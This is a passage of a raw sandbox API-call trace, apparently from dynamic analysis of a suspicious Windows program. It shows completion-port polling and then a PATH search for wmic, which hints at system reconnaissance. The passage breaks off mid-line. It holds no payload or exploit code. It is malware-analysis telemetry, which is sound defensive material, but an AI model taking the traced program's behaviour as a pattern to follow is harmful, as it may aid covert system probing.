lpOverlapped=0x0) returned 0 [0195.713] CloseHandle (hObject=0x2a0) returned 1 [0195.713] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0xffffffff) returned 0x0 [0199.812] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0xffffffff) returned 0x0 [0200.003] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0xffffffff) returned 0x0 [0200.269] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0xffffffff) returned 0x0 [0200.288] PostQueuedCompletionStatus (CompletionPort=0x170, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x0) returned 1 [0200.288] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0xffffffff) returned 0x0 [0200.304] PostQueuedCompletionStatus (CompletionPort=0x170, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x0) returned 1 [0200.304] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0xffffffff) returned 0x0 [0200.313] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4d19f470, ulCount=0x10, ulNumEntriesRemoved=0x4d19f440, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x4d19f470, ulNumEntriesRemoved=0x4d19f440) returned 0 [0200.313] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4d19f470, ulCount=0x10, ulNumEntriesRemoved=0x4d19f440, dwMilliseconds=0x24a8, fAlertable=0 | out: lpCompletionPortEntries=0x4d19f470, ulNumEntriesRemoved=0x4d19f440) returned 0 [0209.756] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4d19f470, ulCount=0x10, ulNumEntriesRemoved=0x4d19f440, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x4d19f470, ulNumEntriesRemoved=0x4d19f440) returned 0 [0209.756] SetEvent (hEvent=0x104) returned 1 [0209.756] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4d19f468, ulCount=0x10, ulNumEntriesRemoved=0x4d19f438, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x4d19f468, ulNumEntriesRemoved=0x4d19f438) returned 0 [0209.756] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4d19f468, ulCount=0x10, ulNumEntriesRemoved=0x4d19f438, dwMilliseconds=0x26d2, fAlertable=0 | out: lpCompletionPortEntries=0x4d19f468, ulNumEntriesRemoved=0x4d19f438) returned 0 [0219.828] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4d19f468, ulCount=0x10, ulNumEntriesRemoved=0x4d19f438, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x4d19f468, ulNumEntriesRemoved=0x4d19f438) returned 0 [0219.828] SetEvent (hEvent=0x104) returned 1 [0219.828] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4d19f468, ulCount=0x10, ulNumEntriesRemoved=0x4d19f438, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x4d19f468, ulNumEntriesRemoved=0x4d19f438) returned 0 [0219.828] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4d19f468, ulCount=0x10, ulNumEntriesRemoved=0x4d19f438, dwMilliseconds=0x37b, fAlertable=0 | out: lpCompletionPortEntries=0x4d19f468, ulNumEntriesRemoved=0x4d19f438) returned 0 [0220.838] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4d19f468, ulCount=0x10, ulNumEntriesRemoved=0x4d19f438, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x4d19f468, ulNumEntriesRemoved=0x4d19f438) returned 0 [0220.838] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4d19f468, ulCount=0x10, ulNumEntriesRemoved=0x4d19f438, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x4d19f468, ulNumEntriesRemoved=0x4d19f438) returned 0 [0220.838] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4d19f468, ulCount=0x10, ulNumEntriesRemoved=0x4d19f438, dwMilliseconds=0x2299, fAlertable=0 | out: lpCompletionPortEntries=0x4d19f468, ulNumEntriesRemoved=0x4d19f438) returned 0 [0229.721] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4d19f468, ulCount=0x10, ulNumEntriesRemoved=0x4d19f438, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x4d19f468, ulNumEntriesRemoved=0x4d19f438) returned 0 [0229.721] SetEvent (hEvent=0x104) returned 1 [0229.722] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4d19f468, ulCount=0x10, ulNumEntriesRemoved=0x4d19f438, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x4d19f468, ulNumEntriesRemoved=0x4d19f438) returned 0 [0229.722] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4d19f468, ulCount=0x10, ulNumEntriesRemoved=0x4d19f438, dwMilliseconds=0xffffffff, fAlertable=0 | out: lpCompletionPortEntries=0x4d19f468, ulNumEntriesRemoved=0x4d19f438) returned 1 [0229.732] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4d19f468, ulCount=0x10, ulNumEntriesRemoved=0x4d19f438, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x4d19f468, ulNumEntriesRemoved=0x4d19f438) returned 0 [0229.732] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4d19f468, ulCount=0x10, ulNumEntriesRemoved=0x4d19f438, dwMilliseconds=0x26e9, fAlertable=0 | out: lpCompletionPortEntries=0x4d19f468, ulNumEntriesRemoved=0x4d19f438) returned 0 [0239.840] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4d19f468, ulCount=0x10, ulNumEntriesRemoved=0x4d19f438, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x4d19f468, ulNumEntriesRemoved=0x4d19f438) returned 0 [0239.840] SetEvent (hEvent=0x104) returned 1 [0239.840] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4d19f468, ulCount=0x10, ulNumEntriesRemoved=0x4d19f438, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x4d19f468, ulNumEntriesRemoved=0x4d19f438) returned 0 [0239.840] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4d19f468, ulCount=0x10, ulNumEntriesRemoved=0x4d19f438, dwMilliseconds=0xffffffff, fAlertable=0 | out: lpCompletionPortEntries=0x4d19f468, ulNumEntriesRemoved=0x4d19f438) returned 1 [0239.878] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4d19f468, ulCount=0x10, ulNumEntriesRemoved=0x4d19f438, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x4d19f468, ulNumEntriesRemoved=0x4d19f438) returned 0 [0239.878] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4d19f468, ulCount=0x10, ulNumEntriesRemoved=0x4d19f438, dwMilliseconds=0x265e, fAlertable=0 | out: lpCompletionPortEntries=0x4d19f468, ulNumEntriesRemoved=0x4d19f438) returned 0 [0249.728] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4d19f468, ulCount=0x10, ulNumEntriesRemoved=0x4d19f438, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x4d19f468, ulNumEntriesRemoved=0x4d19f438) returned 0 [0249.729] SetEvent (hEvent=0x104) returned 1 [0249.729] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4d19f468, ulCount=0x10, ulNumEntriesRemoved=0x4d19f438, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x4d19f468, ulNumEntriesRemoved=0x4d19f438) returned 0 [0249.729] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4d19f468, ulCount=0x10, ulNumEntriesRemoved=0x4d19f438, dwMilliseconds=0xffffffff, fAlertable=0 | out: lpCompletionPortEntries=0x4d19f468, ulNumEntriesRemoved=0x4d19f438) returned 1 [0249.770] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4d19f468, ulCount=0x10, ulNumEntriesRemoved=0x4d19f438, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x4d19f468, ulNumEntriesRemoved=0x4d19f438) returned 0 [0249.770] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4d19f468, ulCount=0x10, ulNumEntriesRemoved=0x4d19f438, dwMilliseconds=0x26c6, fAlertable=0 | out: lpCompletionPortEntries=0x4d19f468, ulNumEntriesRemoved=0x4d19f438) returned 0 [0259.702] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4d19f468, ulCount=0x10, ulNumEntriesRemoved=0x4d19f438, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x4d19f468, ulNumEntriesRemoved=0x4d19f438) returned 0 [0259.702] SetEvent (hEvent=0x104) returned 1 [0259.703] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4d19f468, ulCount=0x10, ulNumEntriesRemoved=0x4d19f438, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x4d19f468, ulNumEntriesRemoved=0x4d19f438) returned 0 [0259.703] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4d19f468, ulCount=0x10, ulNumEntriesRemoved=0x4d19f438, dwMilliseconds=0xffffffff, fAlertable=0 | out: lpCompletionPortEntries=0x4d19f468, ulNumEntriesRemoved=0x4d19f438) returned 1 [0259.796] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4d19f468, ulCount=0x10, ulNumEntriesRemoved=0x4d19f438, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x4d19f468, ulNumEntriesRemoved=0x4d19f438) returned 0 [0259.796] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4d19f468, ulCount=0x10, ulNumEntriesRemoved=0x4d19f438, dwMilliseconds=0x26a9, fAlertable=0 | out: lpCompletionPortEntries=0x4d19f468, ulNumEntriesRemoved=0x4d19f438) returned 0 [0269.788] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4d19f468, ulCount=0x10, ulNumEntriesRemoved=0x4d19f438, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x4d19f468, ulNumEntriesRemoved=0x4d19f438) returned 0 [0269.788] SetEvent (hEvent=0x104) returned 1 [0269.788] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4d19f468, ulCount=0x10, ulNumEntriesRemoved=0x4d19f438, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x4d19f468, ulNumEntriesRemoved=0x4d19f438) returned 0 [0269.788] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4d19f468, ulCount=0x10, ulNumEntriesRemoved=0x4d19f438, dwMilliseconds=0xffffffff, fAlertable=0 | out: lpCompletionPortEntries=0x4d19f468, ulNumEntriesRemoved=0x4d19f438) returned 1 [0269.883] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4d19f468, ulCount=0x10, ulNumEntriesRemoved=0x4d19f438, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x4d19f468, ulNumEntriesRemoved=0x4d19f438) returned 0 [0269.883] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4d19f468, ulCount=0x10, ulNumEntriesRemoved=0x4d19f438, dwMilliseconds=0x2653, fAlertable=0 | out: lpCompletionPortEntries=0x4d19f468, ulNumEntriesRemoved=0x4d19f438) returned 0 [0279.712] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4d19f468, ulCount=0x10, ulNumEntriesRemoved=0x4d19f438, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x4d19f468, ulNumEntriesRemoved=0x4d19f438) returned 0 [0279.712] SetEvent (hEvent=0x104) returned 1 [0279.712] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4d19f468, ulCount=0x10, ulNumEntriesRemoved=0x4d19f438, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x4d19f468, ulNumEntriesRemoved=0x4d19f438) returned 0 [0279.712] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4d19f468, ulCount=0x10, ulNumEntriesRemoved=0x4d19f438, dwMilliseconds=0xffffffff, fAlertable=0 | out: lpCompletionPortEntries=0x4d19f468, ulNumEntriesRemoved=0x4d19f438) returned 1 [0279.722] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4d19f468, ulCount=0x10, ulNumEntriesRemoved=0x4d19f438, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x4d19f468, ulNumEntriesRemoved=0x4d19f438) returned 0 [0279.722] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4d19f468, ulCount=0x10, ulNumEntriesRemoved=0x4d19f438, dwMilliseconds=0x26f9, fAlertable=0 | out: lpCompletionPortEntries=0x4d19f468, ulNumEntriesRemoved=0x4d19f438) returned 1 [0279.973] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4d19f468, ulCount=0x10, ulNumEntriesRemoved=0x4d19f438, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x4d19f468, ulNumEntriesRemoved=0x4d19f438) returned 0 [0279.973] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4d19f468, ulCount=0x10, ulNumEntriesRemoved=0x4d19f438, dwMilliseconds=0x5, fAlertable=0 | out: lpCompletionPortEntries=0x4d19f468, ulNumEntriesRemoved=0x4d19f438) returned 0 [0279.982] SetEvent (hEvent=0xec) returned 1 [0279.983] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4d19f468, ulCount=0x10, ulNumEntriesRemoved=0x4d19f438, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x4d19f468, ulNumEntriesRemoved=0x4d19f438) returned 0 [0279.983] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4d19f468, ulCount=0x10, ulNumEntriesRemoved=0x4d19f438, dwMilliseconds=0xbb8, fAlertable=0 | out: lpCompletionPortEntries=0x4d19f468, ulNumEntriesRemoved=0x4d19f438) returned 0 [0283.003] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4d19f468, ulCount=0x10, ulNumEntriesRemoved=0x4d19f438, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x4d19f468, ulNumEntriesRemoved=0x4d19f438) returned 0 [0283.003] SetEvent (hEvent=0xec) returned 1 [0283.005] SetEvent (hEvent=0x174) returned 1 [0283.005] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xc000a2d110, nSize=0x64 | out: lpBuffer="") returned 0x35 [0283.005] GetEnvironmentVariableW (in: lpName="NoDefaultCurrentDirectoryInExePath", lpBuffer=0xc000a2d1e0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0283.005] GetFileAttributesExW (in: lpFileName="wmic.com" (normalized: "c:\\users\\oqxzraykm\\desktop\\wmic.com"), fInfoLevelId=0x0, lpFileInformation=0xc00002b810 | out: lpFileInformation=0xc00002b810*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0283.006] CreateFileW (lpFileName="wmic.com" (normalized: "c:\\users\\oqxzraykm\\desktop\\wmic.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0283.006] GetFileAttributesExW (in: lpFileName="wmic.exe" (normalized: "c:\\users\\oqxzraykm\\desktop\\wmic.exe"), fInfoLevelId=0x0, lpFileInformation=0xc00002b810 | out: lpFileInformation=0xc00002b810*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0283.006] CreateFileW (lpFileName="wmic.exe" (normalized: "c:\\users\\oqxzraykm\\desktop\\wmic.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0283.006] GetFileAttributesExW (in: lpFileName="wmic.bat" (normalized: "c:\\users\\oqxzraykm\\desktop\\wmic.bat"), fInfoLevelId=0x0, lpFileInformation=0xc00002b810 | out: lpFileInformation=0xc00002b810*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0283.006] CreateFileW (lpFileName="wmic.bat" (normalized: "c:\\users\\oqxzraykm\\desktop\\wmic.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0283.007] GetFileAttributesExW (in: lpFileName="wmic.cmd" (normalized: "c:\\users\\oqxzraykm\\desktop\\wmic.cmd"), fInfoLevelId=0x0, lpFileInformation=0xc00002b810 | out: lpFileInformation=0xc00002b810*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0283.007] CreateFileW (lpFileName="wmic.cmd" (normalized: "c:\\users\\oqxzraykm\\desktop\\wmic.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0283.007] GetFileAttributesExW (in: lpFileName="wmic.vbs" (normalized: "c:\\users\\oqxzraykm\\desktop\\wmic.vbs"), fInfoLevelId=0x0, lpFileInformation=0xc00002b810 | out: lpFileInformation=0xc00002b810*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0283.007] CreateFileW (lpFileName="wmic.vbs" (normalized: "c:\\users\\oqxzraykm\\desktop\\wmic.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0283.007] GetFileAttributesExW (in: lpFileName="wmic.vbe" (normalized: "c:\\users\\oqxzraykm\\desktop\\wmic.vbe"), fInfoLevelId=0x0, lpFileInformation=0xc00002b810 | out: lpFileInformation=0xc00002b810*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0283.007] CreateFileW (lpFileName="wmic.vbe" (normalized: "c:\\users\\oqxzraykm\\desktop\\wmic.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0283.007] GetFileAttributesExW (in: lpFileName="wmic.js" (normalized: "c:\\users\\oqxzraykm\\desktop\\wmic.js"), fInfoLevelId=0x0, lpFileInformation=0xc00002b810 | out: lpFileInformation=0xc00002b810*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0283.007] CreateFileW (lpFileName="wmic.js" (normalized: "c:\\users\\oqxzraykm\\desktop\\wmic.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0283.007] GetFileAttributesExW (in: lpFileName="wmic.jse" (normalized: "c:\\users\\oqxzraykm\\desktop\\wmic.jse"), fInfoLevelId=0x0, lpFileInformation=0xc00002b810 | out: lpFileInformation=0xc00002b810*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0283.007] CreateFileW (lpFileName="wmic.jse" (normalized: "c:\\users\\oqxzraykm\\desktop\\wmic.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0283.008] GetFileAttributesExW (in: lpFileName="wmic.wsf" (normalized: "c:\\users\\oqxzraykm\\desktop\\wmic.wsf"), fInfoLevelId=0x0, lpFileInformation=0xc00002b810 | out: lpFileInformation=0xc00002b810*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0283.008] CreateFileW (lpFileName="wmic.wsf" (normalized: "c:\\users\\oqxzraykm\\desktop\\wmic.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0283.008] GetFileAttributesExW (in: lpFileName="wmic.wsh" (normalized: "c:\\users\\oqxzraykm\\desktop\\wmic.wsh"), fInfoLevelId=0x0, lpFileInformation=0xc00002b810 | out: lpFileInformation=0xc00002b810*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0283.008] CreateFileW (lpFileName="wmic.wsh" (normalized: "c:\\users\\oqxzraykm\\desktop\\wmic.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0283.008] GetFileAttributesExW (in: lpFileName="wmic.msc" (normalized: "c:\\users\\oqxzraykm\\desktop\\wmic.msc"), fInfoLevelId=0x0, lpFileInformation=0xc00002b810 | out: lpFileInformation=0xc00002b810*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0283.008] CreateFileW (lpFileName="wmic.msc" (normalized: "c:\\users\\oqxzraykm\\desktop\\wmic.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0283.008] GetEnvironmentVariableW (in: lpName="path", lpBuffer=0xc000a2d2b0, nSize=0x64 | out: lpBuffer="") returned 0xf1 [0283.008] GetEnvironmentVariableW (in: lpName="path", lpBuffer=0xc000946600, nSize=0xf1 | out: lpBuffer="") returned 0xf0 [0283.008] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.com" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.com"), fInfoLevelId=0x0, lpFileInformation=0xc00002b810 | out: lpFileInformation=0xc00002b810*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0283.008] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.com" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0283.009] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.exe" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.exe"), fInfoLevelId=0x0, lpFileInformation=0xc00002b810 | out: lpFileInformation=0xc00002b810*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0283.009] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.exe" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0283.009] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.bat" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.bat"), fInfoLevelId=0x0, lpFileInformation=0xc00002b810 | out: lpFileInformation=0xc00002b810*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0283.009] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.bat" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0283.009] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.cmd" (normalized: "c:\\program files (x86)\\common 